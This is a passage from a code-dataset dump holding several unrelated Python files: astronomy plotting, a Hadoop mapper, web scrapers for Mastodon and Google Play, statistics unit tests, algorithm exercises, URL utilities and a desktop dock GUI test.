SimlineSim('/home/amadrid/Desktop/Astro_Stuff/Simline/simline_Bpt1X.fits')\n\n\n#%%\nimport cPickle as pkl\n\npkl.dump(z_B1,open('/home/amadrid/Desktop/z_B1.p','wb'))\npkl.dump(y_B1,open('/home/amadrid/Desktop/y_B1.p','wb'))\npkl.dump(x_B1,open('/home/amadrid/Desktop/x_B1.p','wb'))\n\n#%%\n\npkl.dump(z_Bpt1,open('/home/amadrid/Desktop/z_Bpt1.p','wb'))\npkl.dump(y_Bpt1,open('/home/amadrid/Desktop/y_Bpt1.p','wb'))\npkl.dump(x_Bpt1,open('/home/amadrid/Desktop/x_Bpt1.p','wb'))\n'''\n#%%\n\nimport os\nos.chdir('/home/amadrid/Desktop/Repos/Undergrad/Undergrad-Research-Astronomy/APJ_Paper')\n\nfrom classes.simline_sim.simline_sim import SimlineSim\nimport cPickle as pkl\n\nz_B1 = pkl.load(open('/home/amadrid/Desktop/Random/z_B1.p','rb'))\n\n#%%\ny_B1 = pkl.load(open('/home/amadrid/Desktop/Random/y_B1.p','rb'))\nx_B1 = pkl.load(open('/home/amadrid/Desktop/Random/x_B1.p','rb'))\n\nz_Bpt1 = pkl.load(open('/home/amadrid/Desktop/Random/z_Bpt1.p','rb'))\ny_Bpt1 = pkl.load(open('/home/amadrid/Desktop/Random/y_Bpt1.p','rb'))\nx_Bpt1 = pkl.load(open('/home/amadrid/Desktop/Random/x_Bpt1.p','rb'))\n\n\n#%%\nfrom classes.plot.subclasses.simline_plot.simline_plot import SimlinePlot\n\n\nplotz_B1 = SimlinePlot(z_B1,fontsize=20,)\nplotz_B1.plot_main(keys=['2deg','NM',30])\n\n#%%\nploty_B1 = SimlinePlot(y_B1,fontsize=20,los='Y')\nploty_B1.plot_main(keys=['2deg','NM',30])\n\n#%%\nplotx_B1 = SimlinePlot(x_B1,fontsize=20,los='X')\nplotx_B1.plot_main(keys=['2deg','NM',30])\n\n#%%\nplotz_Bpt1 = SimlinePlot(z_Bpt1,fontsize=20)\nplotz_Bpt1.plot_main(keys=['2deg','NM',30])\n\n#%%\nploty_Bpt1 = SimlinePlot(y_Bpt1,fontsize=20,los='Y')\nploty_Bpt1.plot_main(keys=['2deg','NM',30])\n\n#%%\nplotx_Bpt1 = SimlinePlot(x_Bpt1,fontsize=20,los='X')\nplotx_Bpt1.plot_main(keys=['2deg','NM',30])\n\n\n\n#%%\n\nplotz_B1 = SimlinePlot(z_B1,fontsize=20)\nplotz_B1.plot_main()\n\nploty_B1 = SimlinePlot(y_B1,fontsize=20,los='Y')\nploty_B1.plot_main()\n\nplotx_B1 = SimlinePlot(x_B1,fontsize=20,los='X')\nplotx_B1.plot_main()\n\nplotz_Bpt1 = SimlinePlot(z_Bpt1,fontsize=20)\nplotz_Bpt1.plot_main()\n\nploty_Bpt1 = SimlinePlot(y_Bpt1,fontsize=20,los='Y')\nploty_Bpt1.plot_main()\n\nplotx_Bpt1 = SimlinePlot(x_Bpt1,fontsize=20,los='X')\nplotx_Bpt1.plot_main()\n\n#%%\n\nplot_isotropy_degree(plotx_B1,ploty_B1,plotz_B1,fontsize=30,legend=True)\n\nplot_isotropy_degree(plotx_Bpt1,ploty_Bpt1,plotz_Bpt1,fontsize=30,legend=True)\n\n\n#%%\nimport os\nimport matplotlib.pyplot as plt\n\ncur = os.curdir\nos.chdir('/home/amadrid/Desktop')\nplt.savefig('syn_X_Bpt1.eps',format='eps',dpi=150)\nos.chdir(cur)\n\n\n\n\n\n\n\n","sub_path":"APJ_Paper/APJPlots_sim_template.py","file_name":"APJPlots_sim_template.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"80163538","text":"import sys\n#\n# >>> Escriba el codigo del mapper a partir de este punto <<<\n#\nif __name__ == \"__main__\":\n \n\tfor line in sys.stdin:\n\n\t\tlinea = line.split(\",\")\n\n\t\tfor recorre in range(len(linea)):\n\n\t\t\tif linea[recorre] in [\"radio/tv\", \"education\", \"furniture\", \"car (new)\", \"car (used)\", \"business\", \"domestic appliances\", \"repairs\", \"others\", \"retraining\"]:\n\n\t\t\t\tvalor = \"{}\\t\" + str(format(linea[recorre+1])) + \"\\n\"\n\n\t\t\t\tsys.stdout.write(valor.format(linea[recorre]))","sub_path":"01-hadoop-50/q02-10/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"588607946","text":"import requests\nimport json\nimport lxml.html\n\n\nclass Mastodon:\n # 10Kなどでしか取れない\n def get(self, instance, username):\n url = \"https://%s/@%s\" % (instance, username)\n response = requests.get(url)\n if(response.status_code != 200):\n return False\n dom = lxml.html.fromstring(response.text)\n\n counters = []\n for counter in dom.xpath(\"//*[@class=\\\"counter-number\\\"]\"):\n text = counter.text.strip()\n text = text.replace(\"K\", \"000\")\n text = text.replace(\",\", \"\")\n counters.append(text)\n\n return {\n \"instance\": instance,\n \"username\": username,\n \"toots\": int(counters[0]),\n \"following\": int(counters[1]),\n \"followers\": int(counters[2]),\n }\n","sub_path":"mastodon.py","file_name":"mastodon.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"248412515","text":"''' Test routine for Statsintro\n\nAuthor: Thomas Haslwanter\nDate: July-2013\nVersion: 1.1\n\n'''\n\nimport pandas as pd\n\nimport unittest\nimport numpy as np\nimport anovaOneway\nimport anovaTwoway\nimport binomialTest\nimport bootstrap\nimport checkNormality\nimport compGroups\nimport distribution_normal\nimport dist_continuous\nimport dist_discrete\nimport fig_roc\nimport fitLine\nfrom getdata import getData\nimport gettingStarted\nimport gettingStarted_ipy\nimport KruskalWallis\nimport modeling\nimport multipleTesting\nimport mult_regress\nimport multivariate\n\nimport oneSample\nimport pandas_intro\nimport residuals\nimport sampleSize\nimport showStats\nimport survival\nimport twoSample\n\nclass TestSequenceFunctions(unittest.TestCase):\n def setUp(self):\n t = np.arange(0,10,0.1)\n x = np.sin(t)\n self.data = x\n \n def test_anovaOneway(self):\n (F,p) = anovaOneway.anova_oneway()\n self.assertAlmostEqual(F, 3.711335988266943)\n self.assertAlmostEqual(p, 0.043589334959179327)\n \n (F,p) = anovaOneway.anova_byHand()\n self.assertAlmostEqual(F, 3.711335988266943)\n self.assertAlmostEqual(p, 0.043589334959179327)\n \n F = anovaOneway.show_teqf()\n self.assertAlmostEqual(F, 2083.481, places=2)\n \n F = anovaOneway.anova_statsmodels() \n self.assertAlmostEqual(F, 933.18460306573411)\n\n def test_anovaTwoway(self):\n F = anovaTwoway.anova_interaction()\n self.assertAlmostEqual(F, 2113.101449275357)\n \n def test_binomialTest(self):\n p1,p2 = binomialTest.binomial_test(51)\n self.assertAlmostEqual(p1, 0.0265442457117)\n self.assertAlmostEqual(p2, 0.0437479701824)\n \n def test_bootstrap(self):\n data = bootstrap.generate_data()\n CI = bootstrap.calc_bootstrap(data) \n self.assertAlmostEqual(CI[0], 1.884, places=2)\n \n def test_checkNormality(self):\n p = checkNormality.check_normality()\n self.assertAlmostEqual(p, 0.987205618534)\n \n def test_compGroups(self):\n ci = compGroups.oneProportion()\n self.assertAlmostEqual(ci[0], 0.130, places=2)\n \n chi2 = compGroups.chiSquare()\n self.assertAlmostEqual(chi2[0], 4.141, places=2)\n \n fisher = compGroups.fisherExact()\n self.assertAlmostEqual(fisher[1], 0.035, places=2)\n \n def test_distribution_normal(self):\n distribution_normal.simple_normal()\n distribution_normal.shifted_normal()\n distribution_normal.many_normals()\n \n def test_dist_continuous(self):\n dist_continuous.show_continuous()\n \n def test_dist_discrete(self):\n dist_discrete.show_binomial() \n dist_discrete.show_poisson()\n \n def test_figROC(self):\n fig_roc.main()\n \n def test_fitLine(self):\n \n # example data\n x = np.array([15.3, 10.8, 8.1, 19.5, 7.2, 5.3, 9.3, 11.1, 7.5, 12.2,\n 6.7, 5.2, 19.0, 15.1, 6.7, 8.6, 4.2, 10.3, 12.5, 16.1, \n 13.3, 4.9, 8.8, 9.5])\n y = np.array([1.76, 1.34, 1.27, 1.47, 1.27, 1.49, 1.31, 1.09, 1.18, \n 1.22, 1.25, 1.19, 1.95, 1.28, 1.52, np.nan, 1.12, 1.37, \n 1.19, 1.05, 1.32, 1.03, 1.12, 1.70])\n \n goodIndex = np.invert(np.logical_or(np.isnan(x), np.isnan(y)))\n (a,b,(ci_a, ci_b), ri,newy) = fitLine.fitLine(x[goodIndex],y[goodIndex], alpha=0.01,newx=np.array([1,4.5])) \n \n self.assertAlmostEqual(a,1.09781487777)\n self.assertAlmostEqual(b,0.02196252226)\n \n def test_getdata(self):\n data = getData('altman_93.txt', subDir='../Data/data_altman')\n self.assertEqual(data[0][0], 5260)\n \n def test_gettingStarted(self):\n gettingStarted.main()\n \n def test_gettingStarted_ipy(self):\n gettingStarted_ipy.main()\n \n def test_KruskalWallis(self):\n h = KruskalWallis.main()\n self.assertAlmostEqual(h, 16.028783253379856)\n \n def test_modeling(self):\n F = modeling.model_formulas()\n self.assertAlmostEqual(F, 156.1407931415788)\n \n params = modeling.polynomial_regression()\n self.assertAlmostEqual(params[0], 4.74244177)\n \n def test_multipleTesting(self):\n var = multipleTesting.main()\n self.assertAlmostEqual(var, 1.1296296296296295)\n \n def test_multivariate(self):\n F = multivariate.regression_line() \n self.assertAlmostEqual(F, 4.4140184331462571)\n \n pearson = multivariate.correlation()\n self.assertAlmostEqual(pearson, 0.79208623217849117)\n \n def test_multregress(self):\n (X,Y,Z) = mult_regress.generatedata() \n bestfit1 = mult_regress.regressionmodel(X,Y,Z) \n self.assertAlmostEqual(bestfit1[0], -4.99754526)\n \n bestfit2 = mult_regress.linearmodel(X,Y,Z) \n self.assertAlmostEqual(bestfit2[0][0], -4.99754526)\n \n def test_oneSample(self):\n p = oneSample.check_mean()\n self.assertAlmostEqual(p, 0.018137235176105802)\n \n p2 = oneSample.compareWithNormal()\n self.assertAlmostEqual(p2, 0.054201154690070759)\n \n def test_pandas_intro(self):\n df = pandas_intro.labelled_data()\n self.assertAlmostEqual(df['values'][0], 4.7465508100784524)\n \n parameters = pandas_intro.simple_fit(df)\n self.assertAlmostEqual(parameters['x'], 0.50516249093121246)\n \n def test_residuals(self):\n execfile('residuals.py', {})\n \n def test_sampleSize(self):\n n1 = sampleSize.sampleSize_oneGroup(0.5)\n self.assertEqual(n1, 31)\n \n n2 = sampleSize.sampleSize_twoGroups(0.4, sigma1=0.6, sigma2=0.6)\n self.assertEqual(n2, 35)\n \n def test_showStats(self):\n showStats.main()\n \n def test_survival(self):\n p = survival.main()\n self.assertAlmostEqual(p, 0.073326322306832212)\n \n def test_twoSample(self):\n p1 = twoSample.paired_data()\n self.assertAlmostEqual(p1, 0.0033300139117459797) \n \n p2 = twoSample.unpaired_data()\n self.assertAlmostEqual(p2, 0.0010608066929400244)\n \nif __name__ == '__main__':\n unittest.main()\n raw_input('Thanks for using programs from Thomas!')\n '''\n # should raise an exception \n self.assertRaises(TypeError, savgol, np.arange(3), window_size=5)\n self.assertTrue(np.abs(1-smoothed[round(np.pi/2*10)]<0.001))\n self.assertEqual(firstDeriv[14], fD[14])\n '''\n","sub_path":"Introduction_to_Statistics_using_Python/Code/test_stats.py","file_name":"test_stats.py","file_ext":"py","file_size_in_byte":6648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"273643407","text":"import shlex\nfrom multiprocessing import current_process\n\nimport setuptools.command.test as orig\n\n\nclass Test(orig.test):\n test_suite = True\n start_coverage = False\n list_options = set(['log-level=', 'test-plugins=',\n 'test-modules=', 'pulsar-args='])\n user_options = [\n ('list-labels', 'l', 'List all test labels without performing tests'),\n ('coverage', None, 'Collect code coverage from all spawn actors'),\n ('coveralls', None, 'Publish coverage to coveralls'),\n ('sequential', None, 'Run test functions sequentially'),\n ('test-timeout=', None, 'Timeout for asynchronous tests'),\n ('log-level=', None, 'Logging level'),\n ('test-plugins=', None, 'Test plugins'),\n ('test-modules=', None, 'Modules where to look for tests'),\n ('pulsar-args=', 'a',\n \"Additional arguments to pass to pulsar test suite\")]\n\n def initialize_options(self):\n for name, _, _ in self.user_options:\n setattr(self, self._slugify(name), None)\n\n def finalize_options(self):\n self.test_params = {}\n for name, _, _ in self.user_options:\n attr = self._slugify(name)\n value = getattr(self, attr)\n if value and name in self.list_options:\n value = shlex.split(value)\n setattr(self, attr, value)\n if value is not None:\n self.test_params[attr] = value\n self.test_args = self.pulsar_args or []\n\n def run_tests(self):\n if self.coverage and self.start_coverage:\n import coverage\n p = current_process()\n p._coverage = coverage.Coverage(data_suffix=True)\n coverage.process_startup()\n p._coverage.start()\n\n from pulsar.apps.test import TestSuite\n test_suite = TestSuite(verbosity=self.verbose+1,\n argv=self.test_args,\n **self.test_params)\n test_suite.start()\n\n def _slugify(self, name):\n return name.replace('-', '_').replace('=', '')\n","sub_path":"pulsar_test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"373342439","text":"import numpy as np\nimport scipy as sp\nfrom scipy import ndimage\nimport pandas as pd\n\ndef smooth_within_mask(data, mask, sigma):\n \n \n new_data = data.copy()\n new_data[~mask] = np.nan\n\n V=new_data.copy()\n V[new_data!=new_data]=0\n VV=sp.ndimage.gaussian_filter(V,sigma=sigma)\n\n W=0*new_data.copy()+1\n W[new_data!=new_data]=0\n WW=sp.ndimage.gaussian_filter(W,sigma=sigma)\n\n new_data=VV/WW\n \n new_data[~mask] = np.nan\n\n return new_data\n\ndef get_gradients_3D(dat, mask):\n \"\"\" Function to get gradients of a masked array in 3 dimensions. Unfortunately loops a lot so slow \"\"\"\n dat_gradients_x = np.full_like(dat, np.nan)\n dat_gradients_y = np.full_like(dat, np.nan)\n dat_gradients_z = np.full_like(dat, np.nan)\n \n n_aisles = dat.shape[0]\n n_row = dat.shape[1]\n n_col = dat.shape[2]\n \n # Loop over aisles\n for aisle in range(n_aisles):\n # Loop over rows to get row gradients within each aisle\n for row in range(n_row):\n this_row = dat[aisle,row,:]\n \n # which data in row are not nan?\n which_idx = np.arange(len(dat[aisle,row,:]))[mask[aisle,row,:]]\n if len(which_idx) < 2: # if full row is masked, skip\n continue\n\n dat_gradients_x[aisle,row,which_idx] = np.gradient(this_row[mask[aisle,row,:]])\n \n # columns within aisles\n for col in range(n_col):\n this_col = dat[aisle,:,col]\n which_idx = np.arange(len(dat[aisle,:,col]))[mask[aisle,:,col]]\n if len(which_idx) < 2: # if full column is masked, skip\n continue\n\n dat_gradients_y[aisle,which_idx,col] = np.gradient(this_col[mask[aisle,:,col]])\n\n # loop over rows&columns for aisles gradients\n for row in range(n_row):\n for col in range(n_col):\n this_aisle = dat[:,row,col]\n which_idx = np.arange(len(dat[:,row,col]))[mask[:,row,col]]\n if len(which_idx) < 2: # if full aisle is masked, skip\n continue\n\n dat_gradients_z[which_idx,row,col] = np.gradient(this_aisle[mask[:,row,col]])\n \n return [dat_gradients_z, dat_gradients_y, dat_gradients_x]","sub_path":"build/lib.linux-x86_64-2.7/pystain/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"168533302","text":"\"\"\"\n给定一个非负整数数组,你最初位于数组的第一个位置。\n\n数组中的每个元素代表你在该位置可以跳跃的最大长度。\n\n判断你是否能够到达最后一个位置。\n\n\n示例1:\n输入: [2,3,1,1,4]\n输出: true\n解释: 我们可以先跳 1 步,从位置 0 到达 位置 1, 然后再从位置 1 跳 3 步到达最后一个位置。\n\n示例2:\n输入: [3,2,1,0,4]\n输出: false\n解释: 无论怎样,你总会到达索引为 3 的位置。但该位置的最大跳跃长度是 0 , 所以你永远不可能到达最后一个位置。\n\n\n\"\"\"\n\n\n\"\"\"\n如果某一个作为 起跳点 的格子可以跳跃的距离是 3,那么表示后面 3 个格子都可以作为 起跳点。\n可以对每一个能作为 起跳点 的格子都尝试跳一次,把能跳到最远的距离 不断更新。\n如果可以一直跳到最后,就成功了。\n\n\"\"\"\n\nclass Solution:\n def canJump(self, nums: List[int]) -> bool:\n max_distance = 1#至少为1\n length = len(nums)\n index = 0\n\n while index+1 <= max_distance:#因为索引肯定要少1的\n max_distance = max(max_distance, nums[index] + index+1)\n if max_distance >= length:\n return True\n else:\n index += 1\n return True if index >= length else False\n\n\n\n\"\"\"\n同上\n贪心算法\n刷新每次最长距离\n\"\"\"\n#大神做法2\nclass Solution:\n def canJump(self, nums: List[int]) -> bool:\n n, rightmost = len(nums), 1\n for i in range(n):\n if i+1 <= rightmost:\n rightmost = max(rightmost, i +1 + nums[i])\n if rightmost >= n :\n return True\n return False\n","sub_path":"中等55. 跳跃游戏.py","file_name":"中等55. 跳跃游戏.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"224593161","text":"\"\"\"\nMissionaries and Cannibals problem \nModified with different starting numbers\n\n\"\"\"\n\nfrom __future__ import annotations\nfrom typing import List, Optional\nfrom listing2_9 import bfs, Node, node_to_path\nfrom time import sleep\n\nmax_m = 4\nmax_c = 3\n\nclass MCState:\n\tdef __init__(self, missionaries, cannibals, boat):\n\t\tself.wm = missionaries\n\t\tself.wc = cannibals\n\t\tself.em = max_m - self.wm\n\t\tself.ec = max_c - self.wc\n\n\t\tself.boat = boat\n\n\n\tdef __str__(self):\n\t\treturn (\"\"\"On the west bank, there are {} missionaries and {} cannibals.\n\t\t\tOn the east bank, there are {} missionaries and {} cannibals. \n\t\t\tThe boat is on the {} bank.\n\t\t\t\"\"\".format(self.wm, self.wc, self.em, self.ec, (\"west\" if self.boat else \"east\")))\n\n\n\tdef goal_test(self):\n\t\t# print(\"starting goal_test\")\n\t\treturn self.is_legal and self.em == max_m and self.ec == max_c\n\n\n\t@property\n\tdef is_legal(self):\n\t\tif self.wm < self.wc and self.wm > 0:\n\t\t\t# print(self.wm)\n\t\t\treturn False\n\t\tif self.em < self.ec and self.em > 0:\n\t\t\t# print(self.em)\n\t\t\t# print(\"east is less\")\n\t\t\treturn False\n\t\treturn True\n\n\n\tdef successors(self):\n\t\tsucs = []\n\t\tif self.boat:\n\t\t\tif self.wm > 1:\n\t\t\t\tsucs.append(MCState(self.wm - 2, self.wc, not self.boat))\n\t\t\tif self.wm > 0:\n\t\t\t\tsucs.append(MCState(self.wm - 1, self.wc, not self.boat))\n\t\t\tif self.wc > 1:\n\t\t\t\tsucs.append(MCState(self.wm, self.wc - 2, not self.boat))\n\t\t\tif self.wc > 0:\n\t\t\t\tsucs.append(MCState(self.wm, self.wc - 1, not self.boat))\n\t\t\tif (self.wc > 0) and (self.wm > 0):\n\t\t\t\tsucs.append(MCState(self.wm - 1, self.wc - 1, not self.boat))\n\n\t\telse:\n\t\t\tif self.em > 1:\n\t\t\t\tsucs.append(MCState(self.wm + 2, self.wc, not self.boat))\n\t\t\tif self.em > 0:\n\t\t\t\tsucs.append(MCState(self.wm + 1, self.wc, not self.boat))\n\t\t\tif self.ec > 1:\n\t\t\t\tsucs.append(MCState(self.wm, self.wc + 2, not self.boat))\n\t\t\tif self.ec > 0:\n\t\t\t\tsucs.append(MCState(self.wm, self.wc + 1, not self.boat))\n\t\t\tif (self.ec > 0) and (self.em > 0):\n\t\t\t\tsucs.append(MCState(self.wm + 1, self.wc + 1, not self.boat))\n\n\t\t# for x in sucs:\n\t\t# \tif not x.is_legal:\n\t\t# \t\tprint(x)\n\t\t# \telse:\n\t\t# \t\tprint(\"legal\")\n\t\t# \t\tprint(x)\n\t\t# sleep(60)\t\t\n\t\treturn [x for x in sucs if x.is_legal]\n\n\n\ndef display_solution(path):\n\tif len(path) == 0:\n\t\treturn\n\n\told_state = path[0]\n\tprint(old_state)\n\tfor current_state in path[1:]:\n\t\tif current_state.boat:\n\t\t\tprint(\"{} missionaries and {} cannibals have moved from east to west bank.\".format(old_state.em - current_state.em, old_state.ec - current_state.ec))\n\t\telse:\n\t\t\tprint(\"{} missionaries and {} cannibals have moved from west to east bank.\".format(old_state.wm - current_state.wm, old_state.wc - current_state.wc))\n\t\tprint(current_state)\n\t\told_state = current_state\n\n\nif __name__ == '__main__':\n\tstart = MCState(max_m, max_c, True)\n\tprint(start)\n\tsolution = bfs(start, MCState.goal_test, MCState.successors)\n\n\tif solution is None:\n\t\tprint(\"No solution\")\n\telse:\n\t\tpath = node_to_path(solution)\n\t\tdisplay_solution(path)","sub_path":"2_search_problems/2_5_exercises/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"236876725","text":"import requests\nfrom bs4 import BeautifulSoup\nimport category_holder\n\n\ndef parse_html(url):\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n return soup\n\n\n# get categories container. needs refactoring since it gets it by class (not a unique identifier)\ndef get_categories_container(soup):\n return soup.find_all('div',class_='action-bar-dropdown-children-container')[1]\n\n\n# returns list of games categories with appended slashes on both sides\ndef get_categories_list(categories_container):\n ## get categories names\n list_wrapper = categories_container.find_all(class_='submenu-item-wrapper')\n games_categories_href_list = []\n games_categories_list = []\n categories_names_a_tag = list_wrapper[0].find_all('a')\n for el in categories_names_a_tag:\n games_categories_href_list.append(el.attrs['href'])\n for el in games_categories_href_list:\n games_categories_list.append('/' + el.rsplit('/', 1)[1] + '/')\n return games_categories_list\n\n\n# returns a list of category objects that contain category name and a list of names to it\ndef get_games(games_categories_list,category_url_starter):\n category_objects = []\n for category in games_categories_list:\n category_url = category_url_starter + category\n soup = parse_html(category_url)\n games_divs = soup.find_all('div', class_='card-content id-track-click id-track-impression')\n\n games_list = []\n for game_div in games_divs:\n games_list.append(game_div.get('data-docid'))\n\n category_objects.append(category_holder.CategoryHolder(category, games_list))\n\n return category_objects\n\n# custom print method for category objects list\ndef print_structure(category_objects):\n for category in category_objects:\n games = category.get_games()\n [print(category.get_category() + game) for game in games]\n pass","sub_path":"makasym/diachenko/test/custom_parser_utils.py","file_name":"custom_parser_utils.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"77454998","text":"# Copyright 2019 Curtin University\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Author: James Diprose\n\nimport hashlib\nimport json\nimport os\nimport time\nimport urllib.error\nimport urllib.request\nfrom typing import Any, Dict, List, Tuple, Union\nfrom urllib.parse import ParseResult, urljoin, urlparse\n\nimport requests\nimport tldextract\nimport xmltodict\nfrom importlib_metadata import metadata\nfrom requests.adapters import HTTPAdapter\nfrom urllib3.util.retry import Retry\n\n\ndef get_url_domain_suffix(url: str) -> str:\n \"\"\"Extract a URL composed of the domain name and the suffix of the URL. For example, library.curtin.edu would\n become curtin.edu\n\n :param url: a URL.\n :return: the domain + . + suffix of the URL.\n \"\"\"\n\n result = tldextract.extract(url)\n return f\"{result.domain}.{result.suffix}\"\n\n\ndef unique_id(string: str) -> str:\n \"\"\"Generate a unique identifier from a string.\n\n :param string: a string.\n :return: the unique identifier.\n \"\"\"\n return hashlib.md5(string.encode(\"utf-8\")).hexdigest()\n\n\ndef is_url_absolute(url: Union[str, ParseResult]) -> bool:\n \"\"\"Return whether a URL is absolute or relative.\n\n :param url: the URL to test.\n :return: whether the URL is absolute or relative.\n \"\"\"\n\n if not isinstance(url, ParseResult):\n url = urlparse(url)\n\n return bool(url.netloc)\n\n\ndef strip_query_params(url: str) -> str:\n \"\"\"Remove the query parameters from an absolute URL.\n\n :param url: a URL.\n :return: the URL with the query parameters removed.\n \"\"\"\n assert is_url_absolute(url), f\"strip_query_params: url {url} is not absolute\"\n return urljoin(url, urlparse(url).path)\n\n\ndef retry_session(\n num_retries: int = 3, backoff_factor: float = 0.5, status_forcelist: Tuple = (500, 502, 503, 50)\n) -> requests.Session:\n \"\"\"Create a session object that is able to retry a given number of times.\n\n :param num_retries: the number of times to retry.\n :param backoff_factor: the factor to use for determining how long to wait before retrying. See\n urllib3.util.retry.Retry for more details.\n :param status_forcelist: which integer status codes (that would normally not trigger a retry) should\n trigger a retry.\n :return: the session.\n \"\"\"\n session = requests.Session()\n retry = Retry(\n total=num_retries,\n connect=num_retries,\n read=num_retries,\n redirect=num_retries,\n status_forcelist=status_forcelist,\n backoff_factor=backoff_factor,\n )\n adapter = HTTPAdapter(max_retries=retry)\n session.mount(\"http://\", adapter)\n session.mount(\"https://\", adapter)\n return session\n\n\ndef get_http_text_response(url: str) -> str:\n \"\"\"Get the text response from an HTTP GET call.\n\n :param url: URL to query.\n :return: Text response.\n \"\"\"\n\n HTTP_OK = 200\n response = retry_session().get(url)\n if response.status_code != HTTP_OK:\n raise ConnectionError(f\"Error requesting {url}. Status: {response.status_code}\")\n\n return response.text\n\n\ndef get_http_response_json(url: str) -> Union[List, Dict]:\n \"\"\"Get the JSON response from an HTTP API call as a dict.\n\n :param url: URL to query.\n :return: Dictionary of the response.\n \"\"\"\n\n response = get_http_text_response(url)\n response_obj = json.loads(response)\n return response_obj\n\n\ndef get_http_response_xml_to_dict(url: str) -> Dict:\n \"\"\"Get the XML response from an HTTP API call as a dict.\n\n :param url: URL to query.\n :return: Dictionary of the response.\n \"\"\"\n\n response = get_http_text_response(url)\n response_dict = xmltodict.parse(response)\n return response_dict\n\n\ndef wait_for_url(url: str, timeout: int = 60):\n \"\"\"Wait for a URL to return a 200 status code.\n\n :param url: the url to wait for.\n :param timeout: the number of seconds to wait before timing out.\n :return: whether the URL returned a 200 status code or not.\n \"\"\"\n\n start = time.time()\n started = False\n while True:\n duration = time.time() - start\n if duration >= timeout:\n break\n\n try:\n if urllib.request.urlopen(url).getcode() == 200:\n started = True\n break\n time.sleep(0.5)\n except ConnectionResetError:\n pass\n except ConnectionRefusedError:\n pass\n except urllib.error.URLError:\n pass\n\n return started\n\n\ndef get_user_agent(*, package_name: str) -> str:\n \"\"\"Return a standardised user agent that can be used by custom web clients to indicate which Python\n package they came from.\n\n :return: User agent string.\n \"\"\"\n\n pkg_info = metadata(package_name)\n version = pkg_info.get(\"Version\")\n url = pkg_info.get(\"Home-page\")\n mailto = pkg_info.get(\"Author-email\")\n ua = f\"{package_name} v{version} (+{url}; mailto: {mailto})\"\n\n return ua\n\n\ndef get_observatory_http_header(*, package_name: str) -> Dict:\n \"\"\"Construct a HTTP header with a custom user agent.\n\n :param package_name: Package name used to fetch metadata for the User Agent.\n \"\"\"\n\n user_agent = get_user_agent(package_name=package_name)\n header = {\"User-Agent\": user_agent}\n return header\n\n\ndef get_filename_from_url(url: str) -> str:\n \"\"\"Given a download url with the filename part of the url, extract the filename.\n\n :param url: URL to parse.\n :return: Filename.\n \"\"\"\n\n dst_file = os.path.basename(url)\n tail = dst_file.find(\"?\") # Remove any parameters\n if tail < 0:\n tail = len(dst_file)\n dst_file = dst_file[:tail]\n\n return dst_file\n","sub_path":"observatory-platform/observatory/platform/utils/url_utils.py","file_name":"url_utils.py","file_ext":"py","file_size_in_byte":6085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"606991930","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport gettext\nimport unittest\nimport pyautogui\nfrom time import sleep\nfrom lib import executeTestCase\nfrom lib import utils\nfrom lib import runner\nfrom lib import Dock\nfrom lib import window\n\ncasename = 'all-6241:回收站插件-左键'\n\nclass Dock_PluginTrashLeftClick(unittest.TestCase):\n caseid = '283439'\n @classmethod\n def setUpClass(cls):\n cls.testiconname = \"trash-\"\n cls.dock = Dock()\n\n if utils.dock.displaymode_fashion != utils.getDdeDockDisplayMode():\n utils.setDdeDockDisplayMode(utils.dock.displaymode_fashion)\n\n if utils.dock.position_bottom != utils.getDdeDockPosition():\n utils.setDdeDockPosition(utils.dock.position_bottom)\n\n @classmethod\n def tearDownClass(cls):\n if utils.dock.displaymode_fashion != utils.getDdeDockDisplayMode():\n utils.setDdeDockDisplayMode(utils.dock.displaymode_fashion)\n\n if utils.dock.position_bottom != utils.getDdeDockPosition():\n utils.setDdeDockPosition(utils.dock.position_bottom)\n\n def testPluginTrashLeftClick(self):\n icon = self.dock.dockObj.child(self.testiconname)\n self.assertTrue(icon)\n icon.click()\n sleep(2)\n\n w = window.findWindow(self.dock.string_Deepin_File_Manager)\n self.assertTrue(w != None)\n window.closeWindow(w)\n w = window.findWindow(self.dock.string_Deepin_File_Manager, mode=\"nowait\")\n self.assertTrue(w == None)\n\n pyautogui.moveTo(400, 400, duration=1)\n pyautogui.click()\n\n def suite():\n suite = unittest.TestSuite()\n suite.addTest(Dock_PluginTrashLeftClick('testPluginTrashLeftClick'))\n return suite\n\nif __name__ == \"__main__\":\n unittest.installHandler()\n LOCALE_DIR = os.path.abspath(\"./lib/locale\")\n gettext.install('dsystem', LOCALE_DIR)\n 